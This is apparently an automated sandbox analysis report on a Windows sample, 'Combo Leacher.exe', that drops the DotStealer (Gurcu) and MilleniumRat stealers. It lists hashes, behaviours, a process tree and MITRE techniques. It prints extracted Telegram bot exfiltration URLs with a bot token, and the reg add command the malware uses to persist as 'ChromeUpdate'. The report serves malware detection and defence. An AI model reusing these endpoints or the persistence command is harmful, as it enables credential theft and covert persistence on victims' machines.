Analysis
-
max time kernel
14s -
max time network
16s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
23-11-2024 03:02
Static task
static1
Behavioral task
behavioral1
Sample
Combo Leacher.exe
Resource
win10v2004-20241007-en
General
-
Target
Combo Leacher.exe
-
Size
11.4MB
-
MD5
acd646973ccafe31e48299647203e38c
-
SHA1
e3c284e5d57043bac8de81a5a88fd619fa0b5d29
-
SHA256
4e900c9d6afa9da8cb9ffa5db15bc2ce4b16220e0e69716cdc88e39882cbfd4c
-
SHA512
3203cd7de93cb0b6f6250692a4f626985c7035366248d8be1b0c979dea549ae6fd62a5a739ff9dd18b839a9a6b027d6b80b59455672553604d00139ac7d3d6d4
-
SSDEEP
196608:s/igW75bLmJoiSE/FteRQ6Drt4AMfHweVjIehglJx31nVWctIIEtTK:saQo6teRHrt4A0QkphCJ1VtEtTK
Malware Config
Extracted
gurcu
https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4590251468&caption=%F0%9F%92%A0DOTSTEALER%F0%9F%92%A0%0A%F0%9F%92%ABNew%20log:%0AIP:%20181.215.176.83%0AUsername:%20Admin%0ALocation:%20United%20Kingdom%20[GB],%20London,%20Englan
https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb
https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendMessage?chat_id=-4594364141
https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/getUpdates?offset=-
https://api.telegram.org/bot7515908842:AAGcQXQiGBxzB0Fs7UXvL8_8mBkGJs3teYE/sendDocument?chat_id=-4594364141&caption=%F0%9F%93%B8Screenshot%20take
Signatures
-
Gurcu family
-
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
-
Milleniumrat family
-
Checks computer location settings 2 TTPs 4 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation Combo Leacher.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation jjj.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation built.exe Key value queried \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Control Panel\International\Geo\Nation DotStealerBuild.exe -
Executes dropped EXE 3 IoCs
pid Process 2020 jjj.exe 1500 DotStealerBuild.exe 4932 built.exe -
Loads dropped DLL 2 IoCs
pid Process 1500 DotStealerBuild.exe 4932 built.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\built.exe" reg.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 13 raw.githubusercontent.com 15 raw.githubusercontent.com 27 raw.githubusercontent.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 22 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 DotStealerBuild.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier DotStealerBuild.exe Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 built.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier built.exe -
Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings Combo Leacher.exe Key created \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000_Classes\Local Settings OpenWith.exe -
Modifies registry key 1 TTPs 1 IoCs
pid Process 2176 reg.exe -
Suspicious behavior: EnumeratesProcesses 56 IoCs
pid Process 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 1500 DotStealerBuild.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 4932 built.exe 1500 DotStealerBuild.exe 4932 built.exe 4932 built.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1500 DotStealerBuild.exe Token: SeDebugPrivilege 4932 built.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2340 OpenWith.exe 4932 built.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2280 wrote to memory of 2020 2280 Combo Leacher.exe 82 PID 2280 wrote to memory of 2020 2280 Combo Leacher.exe 82 PID 2020 wrote to memory of 1500 2020 jjj.exe 85 PID 2020 wrote to memory of 1500 2020 jjj.exe 85 PID 2020 wrote to memory of 4932 2020 jjj.exe 86 PID 2020 wrote to memory of 4932 2020 jjj.exe 86 PID 4932 wrote to memory of 3380 4932 built.exe 92 PID 4932 wrote to memory of 3380 4932 built.exe 92 PID 3380 wrote to memory of 2176 3380 cmd.exe 94 PID 3380 wrote to memory of 2176 3380 cmd.exe 94 PID 1500 wrote to memory of 2716 1500 DotStealerBuild.exe 95 PID 1500 wrote to memory of 2716 1500 DotStealerBuild.exe 95
Processes
-
C:\Users\Admin\AppData\Local\Temp\Combo Leacher.exe"C:\Users\Admin\AppData\Local\Temp\Combo Leacher.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Users\Admin\AppData\Roaming\jjj.exe"C:\Users\Admin\AppData\Roaming\jjj.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2020 -
C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe"C:\Users\Admin\AppData\Roaming\DotStealerBuild.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1500 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmpA3A2.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmpA3A2.tmp.bat4⤵PID:2716
-
-
-
C:\Users\Admin\AppData\Roaming\built.exe"C:\Users\Admin\AppData\Roaming\built.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4932 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\built.exe /f4⤵
- Suspicious use of WriteProcessMemory
PID:3380 -
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ChromeUpdate /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\built.exe /f5⤵
- Adds Run key to start application
- Modifies registry key
PID:2176
-
-
-
-
-
C:\Windows\system32\OpenWith.exeC:\Windows\system32\OpenWith.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2340
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.7MB
MD565ccd6ecb99899083d43f7c24eb8f869
SHA127037a9470cc5ed177c0b6688495f3a51996a023
SHA256aba67c7e6c01856838b8bc6b0ba95e864e1fdcb3750aa7cdc1bc73511cea6fe4
SHA512533900861fe36cf78b614d6a7ce741ff1172b41cbd5644b4a9542e6ca42702e6fbfb12f0fbaae8f5992320870a15e90b4f7bf180705fc9839db433413860be6d
-
Filesize
119B
MD57b520168d7ef6cc706241d1ed65ba42f
SHA1a119262f0ad95bbb4ca8a6ad8a52e7c6db7ffe5f
SHA25622a5bf26a3276c09158a8e6ab43753b13f9f0a4c891975ed9d0f7a6471428494
SHA512de23910e1c7529f53e6ec0fdf575361834ae4f32548821fb3475821b6ddc224e7130139283f3402ba9b0efd61a70ef6930c7a6f1298e48480119e43ce6933dfe
-
Filesize
116KB
MD5f70aa3fa04f0536280f872ad17973c3d
SHA150a7b889329a92de1b272d0ecf5fce87395d3123
SHA2568d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8
SHA51230675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84
-
Filesize
5.6MB
MD552f581505afef83b39aefde9ae711e35
SHA1579bbee21d09878d11cc10b045cd32c00dede4b0
SHA25601bd7c1203d3bd62440082a8dd0789b46b7e0481ad98951f53487094784e0a02
SHA5120a294de86a495d425b68fdc574e364868cf6629ebf12f426cbbb3258c35c5b93a41e6d5a4bad833733afb155fe965f03d1bf0fe73d5294a9f58dd4a6b8819c25
-
Filesize
5.6MB
MD563b01821cbe6ef9e33fb2b756da07fef
SHA1e4f618bc9d7c7e534460499ac73eb7a97253aa69
SHA2567666b280f3eae2e92b753115a29be18dc5d108775e174172308905a02b08e730
SHA51210d96eed133fe5cc8a01bfe97649affcbf74aaa37ea7eebea545733cd300544a60ac11b9b47dbedd382e6004bc945acf0a78a796b32a1148fbb502fd7ed0adfc
-
Filesize
11.3MB
MD54dc27dd3f53e59f186fe7c78d9671874
SHA104e30a4612fdb4d53a9335a8ebbf2574d5027a55
SHA2563b59d780cff0716f35557705bcc4a5d43ecabfa3e5fd79e93e4245049fab7585
SHA512bd916c3515f0ef24969df0693d36ffd1bcc21acade1531bd7b0773892570d18255f89e3b52ee071937960b7372c70128ca64d1f22dc3107a2a368b77ae160135